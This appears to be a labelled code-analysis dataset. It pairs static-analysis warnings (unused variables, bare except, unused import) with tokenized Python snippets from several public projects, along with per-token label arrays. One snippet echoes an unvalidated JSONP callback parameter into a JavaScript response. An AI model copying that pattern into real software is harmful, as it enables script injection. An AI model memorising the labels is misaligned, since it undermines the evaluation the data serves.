"(_", "leaf", "Node_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "nodes_", "._", "append_", "(_", "node_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "log_", "._", "exception_", "(_", "\"", "browse", "r", ".", "views", ".", "user", "Look", "up", "():", " ", "coul", "d", " ", "not", " ", "complete", " ", "request", " ", "for", " ", "%", "s", "\"_", "%_", "username_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "not_", "nodes_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "no", "\\u", "graphs_", "=_", "{_", "'", "text", "'_", ":_", "\"", "No", " ", "saved", " ", "graph", "s", "\"_", ",_", "'", "id", "'_", ":_", "'", "no", "-", "click", "'_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "no", "\\u", "graphs_", "._", "update_", "(_", "leaf", "Node_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "nodes_", "._", "append_", "(_", "no", "\\u", "graphs_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "json", "\\u", "response_", "(_", "nodes_", ",_", "request_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "json", "\\u", "response_", "(_", "nodes_", ",_", "request_", "=_", "None_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "request_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "jsonp", "_", "=_", "request_", "._", "REQUEST_", "._", "get_", "(_", "'", "jsonp", "'_", ",_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "jsonp", "_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "json", " ", "=", " ", "str", "(", "nodes", ")", " ", "#", "poo", "r", " ", "man", "'", "s", " ", "json", " ", "encode", "r", " ", "for", " ", "simple", " ", "types_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "json", "\\u", "data_", "=_", "json_", "._", "dumps_", "(_", "nodes_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "jsonp", "_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "response_", "=_", "Http", "Response_", "(_", "\"%", "s", "(%", "s", ")\"_", "%_", "(_", "jsonp", "_", ",_", "json", "\\u", "data_", ")_", ",_", "mimetype_", "=_", "\"", "text", "/", "javascript", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "response_", "=_", "Http", "Response_", "(_", "json", "\\u", "data_", ",_", "mimetype_", "=_", "\"", "applica", "tion", "/", "json", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "response_", "[_", "'", "Pra", "gma", "'_", "]_", "=_", "'", "no", "-", "cache", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "response_", "[_", "'", "Cache", "-", "Control", "'_", "]_", "=_", "'", "no", "-", "cache", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "response_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "any_", "(_", "iterable_", ")_", ":_", "#", "python", "2.4", " ", "compatibility", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "for_", "i_", "in_", "iterable_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "i_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\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2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unused local variable
django-compressor/django-appconf/tests/tests.py
[ { "content": " def create_invalid_conf(self):\n class RequirementConf(AppConf):\n class Meta:\n required = ['NOT_PRESENT']", "metadata": "root.RequiredSettingsTests.create_invalid_conf", "header": "['class', 'RequiredSettingsTests', '(', 'TestCase', ')', ':', '___EOS___']", "index": 134 }, { "content": " def test_value_is_defined(self):\n class RequirementConf(AppConf):\n class Meta:\n holder = 'tests.models.custom_holder'\n prefix = 'holder'\n required = ['VALUE']", "metadata": "root.RequiredSettingsTests.test_value_is_defined", "header": "['class', 'RequiredSettingsTests', '(', 'TestCase', ')', ':', '___EOS___']", "index": 139 }, { "content": " def test_default_is_defined(self):\n class RequirementConf(AppConf):\n SIMPLE_VALUE = True\n\n class Meta:\n required = ['SIMPLE_VALUE']", "metadata": "root.RequiredSettingsTests.test_default_is_defined", "header": "['class', 'RequiredSettingsTests', '(', 'TestCase', ')', ':', '___EOS___']", "index": 146 } ]
[ { "span": "RequirementConf(", "start_line": 135, "start_column": 14, "end_line": 135, "end_column": 29 }, { "span": "RequirementConf(", "start_line": 140, "start_column": 14, "end_line": 140, "end_column": 29 }, { "span": "RequirementConf(", "start_line": 147, "start_column": 14, "end_line": 147, "end_column": 29 } ]
[]
1
true
[ "[CLS]_", "Un", "used_", "local_", "variable_", "[SEP]_", "class_", "Requ", "ired", "Sett", "ings", "Tests_", "(_", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "create", "\\u", "invalid", "\\u", "conf_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "class_", "Requirement", "Conf_", "(_", "App", "Conf_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "class_", "Meta_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "required_", "=_", "[_", "'", "NOT", "\\u", "PRESENT", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Requ", "ired", "Sett", "ings", "Tests_", "(_", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "value", "\\u", "is", "\\u", "defined_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "class_", "Requirement", "Conf_", "(_", "App", "Conf_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "class_", "Meta_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "holder_", "=_", "'", "tests", ".", "model", "s", ".", "custom", "\\u", "holder", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "prefix_", "=_", "'", "holder", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "required_", "=_", "[_", "'", "VALU", "E", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Requ", "ired", "Sett", "ings", "Tests_", "(_", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "default", "\\u", "is", "\\u", "defined_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "class_", "Requirement", "Conf_", "(_", "App", "Conf_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "SIMPLE", "\\u", "VALUE_", "=_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "class_", "Meta_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "required_", "=_", "[_", "'", "SIMPLE", "\\u", "VALU", "E", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Except block handles 'BaseException'
dnanexus/dx-toolkit/src/python/dxpy/dxlog.py
[ { "content": " def emit(self, record):\n level = self.encodePriority(record)\n message = record.getMessage()\n # The Linux domain socket datagram size limit is 8 KB, but\n # with the extra padding introduced by the log function, the\n # incoming message needs to be smaller - we truncate it to\n # at most 8015 bytes here.\n # Note: we use Python 2 semantics here (byte strings). This\n # script is not Python 3 ready. If *line* was a unicode string\n # with wide chars, its byte length would exceed the limit.\n if len(message) > 8015:\n message = message[:8000] + \"... [truncated]\"\n\n data = json.dumps({\"source\": self.source, \"timestamp\": int(round(time.time() * 1000)),\n \"level\": level, \"msg\": message})\n\n levelno = int(record.levelno)\n if levelno >= logging.CRITICAL or (levelno == logging.INFO and message.startswith(b\"CPU: \")):\n # Critical, alert, emerg, or resource status\n cur_socket = self.priority_log_socket\n cur_socket_address = self.priority_log_address\n else:\n cur_socket = self.bulk_log_socket\n cur_socket_address = self.bulk_log_address\n\n try:\n cur_socket.send(data)\n except socket.error:\n cur_socket.connect(cur_socket_address)\n cur_socket.send(data)\n except (KeyboardInterrupt, SystemExit):\n raise\n except:\n self.handleError(record)", "metadata": "root.DXLogHandler.emit", "header": "['class', 'DXLogHandler', '(', 'SysLogHandler', ')', ':', '___EOS___']", "index": 70 } ]
[ { "span": "except:", "start_line": 102, "start_column": 8, "end_line": 102, "end_column": 15 } ]
[]
1
true
[ "[CLS]_", "Except", "_", "block_", "handles_", "'", "Base", "Except", "ion", "'_", "[SEP]_", "class_", "DX", "Log", "Handler_", "(_", "Sys", "Log", "Handler_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "emit_", "(_", "self_", ",_", "record_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "level_", "=_", "self_", "._", "encode", "Priority_", "(_", "record_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "message_", "=_", "record_", "._", "get", "Message_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "The", " ", "Lin", "ux", " ", "domain", " ", "socket", " ", "datagram", " ", "size", " ", "limit", " ", "is", " ", "8", " ", "KB", ",", " ", "but", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "with", " ", "the", " ", "extra", " ", "padd", "ing", " ", "introduce", "d", " ", "by", " ", "the", " ", "log", " ", "function", ",", " ", "the_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "inco", "ming", " ", "message", " ", "need", "s", " ", "to", " ", "be", " ", "small", "er", " ", "-", " ", "we", " ", "truncat", "e", " ", "it", " ", "to_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "at", " ", "most", " ", "801", "5", " ", "bytes", " ", "here", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Not", "e", ":", " ", "we", " ", "use", " ", "Pyth", "on", " ", "2", " ", "semantics", " ", "here", " ", "(", "byte", " ", "string", "s", ").", " ", "Thi", "s_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "script", " ", "is", " ", "not", " ", "Pyth", "on", " ", "3", " ", "read", "y", ".", " ", "If", " ", "*", "line", "*", " ", "was", " ", "a", " ", "unicode", " ", "string_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "with", " ", "wide", " ", "char", "s", ",", " ", "its", " ", "byte", " ", "length", " ", "wou", "ld", " ", "exceed", " ", "the", " ", "limit", "._", "\\u\\u\\uNL\\u\\u\\u_", "if_", "len_", "(_", "message_", ")_", ">_", "801", "5_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "message_", "=_", "message_", "[_", ":_", "8000_", "]_", "+_", "\"...", " ", "[", "truncat", "ed", "]\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "data_", "=_", "json_", "._", "dumps_", "(_", "{_", "\"", "source", "\"_", ":_", "self_", "._", "source_", ",_", "\"", "timestamp", "\"_", ":_", "int_", "(_", "round_", "(_", "time_", "._", "time_", "(_", ")_", "*_", "1000_", ")_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "level", "\"_", ":_", "level_", ",_", "\"", "msg", "\"_", ":_", "message_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "level", "no_", "=_", "int_", "(_", "record_", "._", "level", "no_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "level", "no_", ">=_", "logging_", "._", "CRITICAL_", "or_", "(_", "level", "no_", "==_", "logging_", "._", "INFO_", "and_", "message_", "._", "startswith_", "(_", "b", "\"", "CPU", ":", " ", "\"_", ")_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Crit", "ical", ",", " ", "alert", ",", " ", "emerg", ",", " ", "or", " ", "resource", " ", "status_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "cur", "\\u", "socket_", "=_", "self_", "._", "priorit", "y", "\\u", "log", "\\u", "socket_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "cur", "\\u", "socket", "\\u", "address_", "=_", "self_", "._", "priorit", "y", "\\u", "log", "\\u", "address_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "cur", "\\u", "socket_", "=_", "self_", "._", "bul", "k", "\\u", "log", "\\u", "socket_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "cur", "\\u", "socket", "\\u", "address_", "=_", "self_", "._", "bul", "k", "\\u", "log", "\\u", "address_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "cur", "\\u", "socket_", "._", "send_", "(_", "data_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "socket_", "._", "error_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "cur", "\\u", "socket_", "._", "connect_", "(_", "cur", "\\u", "socket", "\\u", "address_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "cur", "\\u", "socket_", "._", "send_", "(_", "data_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "(_", "Key", "board", "Interrupt_", ",_", "System", "Exit_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\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2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unused import
Schwanksta/python-arcgis-rest-query/setup.py
[ { "content": "import sys\nfrom setuptools import setup\n\ninstall_requires = [\n \"argparse>=1.2.1\",\n \"requests>=2.4.3\"\n]\n\nsetup(\n name='arcgis-rest-query',\n version='0.14',\n description='A tool to download a layer from an ArcGIS web service as GeoJSON',\n author='Ken Schwencke',\n author_email='[email protected]',\n url='https://github.com/Schwanksta/python-arcgis-rest-query',\n license='MIT',\n packages=('arcgis',),\n scripts=(\n 'bin/arcgis-get',\n ),\n install_requires=install_requires,\n)\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 } ]
[ { "span": "import sys", "start_line": 0, "start_column": 0, "end_line": 0, "end_column": 10 } ]
[]
1
false
[ "[CLS]_", "Un", "used_", "import_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "import_", "sys_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "setuptools_", "import_", "setup_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "install", "\\u", "requires_", "=_", "[_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "argp", "arse", ">=", "1.2", ".1", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "request", "s", ">=", "2.4", ".3", "\"_", "\\u\\u\\uNL\\u\\u\\u_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "setup_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "name_", "=_", "'", "arc", "gi", "s", "-", "rest", "-", "query", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "version_", "=_", "'", "0.14", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "description_", "=_", "'", "A", " ", "tool", " ", "to", " ", "download", " ", "a", " ", "layer", " ", "from", " ", "an", " ", "Arc", "GI", "S", " ", "web", " ", "service", " ", "as", " ", "Geo", "JSO", "N", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "author_", "=_", "'", "Ken", " ", "Sch", "wen", "cke", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "author", "\\u", "email_", "=_", "'", "sch", "wan", "k", "@", "gma", "il", ".", "com", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "url_", "=_", "'", "https", "://", "git", "hub", ".", "com", "/", "Sch", "wan", "kst", "a", "/", "python", "-", "arc", "gi", "s", "-", "rest", "-", "query", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "license_", "=_", "'", "MIT", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "packages_", "=_", "(_", "'", "arc", "gi", "s", "'_", ",_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "scripts_", "=_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "'", "bin", "/", "arc", "gi", "s", "-", "get", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "install", "\\u", "requires_", "=_", "install", "\\u", "requires_", ",_", "\\u\\u\\uNL\\u\\u\\u_", ")_" ]
[ 4, 4, 4, 4, 4, 2, 2, 0, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unused local variable
STIXProject/python-stix/stix/bindings/extensions/vulnerability/cvrf_1_1.py
[ { "content": " def exportChildren(self, lwrite, level, nsmap, namespace_=XML_NS, name_='CVRF1.1InstanceType', fromsubclass_=False, pretty_print=True):\n super(CVRF1_1InstanceType, self).exportChildren(lwrite, level, nsmap, namespace_, name_, True, pretty_print=pretty_print)\n if pretty_print:\n eol_ = '\\n'\n else:\n eol_ = ''\n if self.cvrfdoc is not None:\n showIndent(lwrite, level, pretty_print)\n lwrite(etree_.tostring(self.cvrfdoc, pretty_print=pretty_print))\n #self.cvrfdoc.export(lwrite, level, nsmap, namespace_, name_='cvrfdoc', pretty_print=pretty_print)", "metadata": "root.CVRF1_1InstanceType.exportChildren", "header": "['class', 'CVRF1_1InstanceType', '(', 'exploit_target_binding', '.', 'VulnerabilityType', ')', ':', '___EOS___']", "index": 82 }, { "content": "def parse(inFileName):\n doc = parsexml_(inFileName)\n rootNode = doc.getroot()\n rootTag, rootClass = get_root_tag(rootNode)\n if rootClass is None:\n rootTag = 'CVRF1.1InstanceType'\n rootClass = CVRF1_1InstanceType\n rootObj = rootClass.factory()\n rootObj.build(rootNode)\n # Enable Python to collect the space used by the DOM.\n doc = None\n sys.stdout.write('<?xml version=\"1.0\" ?>\\n')\n rootObj.export(sys.stdout, 0, name_=rootTag,\n namespacedef_='',\n pretty_print=True)\n return rootObj", "metadata": "root.parse", "header": "['module', '___EOS___']", "index": 123 }, { "content": "def parseEtree(inFileName):\n doc = parsexml_(inFileName)\n rootNode = doc.getroot()\n rootTag, rootClass = get_root_tag(rootNode)\n if rootClass is None:\n rootTag = 'CVRF1.1InstanceType'\n rootClass = CVRF1_1InstanceType\n rootObj = rootClass.factory()\n rootObj.build(rootNode)\n # Enable Python to collect the space used by the DOM.\n doc = None\n rootElement = rootObj.to_etree(None, name_=rootTag)\n content = etree_.tostring(rootElement, pretty_print=True,\n xml_declaration=True, encoding=\"utf-8\")\n sys.stdout.write(content)\n sys.stdout.write('\\n')\n return rootObj, rootElement", "metadata": "root.parseEtree", "header": "['module', '___EOS___']", "index": 140 }, { "content": "def parseString(inString):\n from StringIO import StringIO\n doc = parsexml_(StringIO(inString))\n rootNode = doc.getroot()\n rootTag, rootClass = get_root_tag(rootNode)\n if rootClass is None:\n rootTag = 'CVRF1.1InstanceType'\n rootClass = CVRF1_1InstanceType\n rootObj = rootClass.factory()\n rootObj.build(rootNode)\n # Enable Python to collect the space used by the DOM.\n doc = None\n sys.stdout.write('<?xml version=\"1.0\" ?>\\n')\n rootObj.export(sys.stdout, 0, name_=\"CVRF1.1InstanceType\",\n namespacedef_='')\n return rootObj", "metadata": "root.parseString", "header": "['module', '___EOS___']", "index": 158 } ]
[ { "span": "eol_ ", "start_line": 85, "start_column": 12, "end_line": 85, "end_column": 16 }, { "span": "eol_ ", "start_line": 87, "start_column": 12, "end_line": 87, "end_column": 16 }, { "span": "doc ", "start_line": 133, "start_column": 4, "end_line": 133, "end_column": 7 }, { "span": "doc ", "start_line": 150, "start_column": 4, "end_line": 150, "end_column": 7 }, { "span": "rootTag ", "start_line": 164, "start_column": 8, "end_line": 164, "end_column": 15 }, { "span": "doc ", "start_line": 169, "start_column": 4, "end_line": 169, "end_column": 7 } ]
[]
1
true
[ "[CLS]_", "Un", "used_", "local_", "variable_", "[SEP]_", "class_", "CV", "RF", "1", "\\u", "1", "Insta", "nce", "Type_", "(_", "exploit", "\\u", "target", "\\u", "binding_", "._", "Vulnerab", "ilit", "y", "Type_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "export", "Children_", "(_", "self_", ",_", "lw", "rite_", ",_", "level_", ",_", "nsma", "p_", ",_", "namespace\\u_", "=_", "XML", "\\u", "NS_", ",_", "name\\u_", "=_", "'", "CV", "RF", "1.1", "Insta", "nce", "Type", "'_", ",_", "froms", "ubc", "lass\\u", "_", "=_", "False_", ",_", "pretty", "\\u", "print_", "=_", "True_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "super_", "(_", "CV", "RF", "1", "\\u", "1", "Insta", "nce", "Type_", ",_", "self_", ")_", "._", "export", "Children_", "(_", "lw", "rite_", ",_", "level_", ",_", "nsma", "p_", ",_", "namespace\\u_", ",_", "name\\u_", ",_", "True_", ",_", "pretty", "\\u", "print_", "=_", "pretty", "\\u", "print_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "pretty", "\\u", "print_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "eol\\u_", "=_", "'\\\\", "n", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", 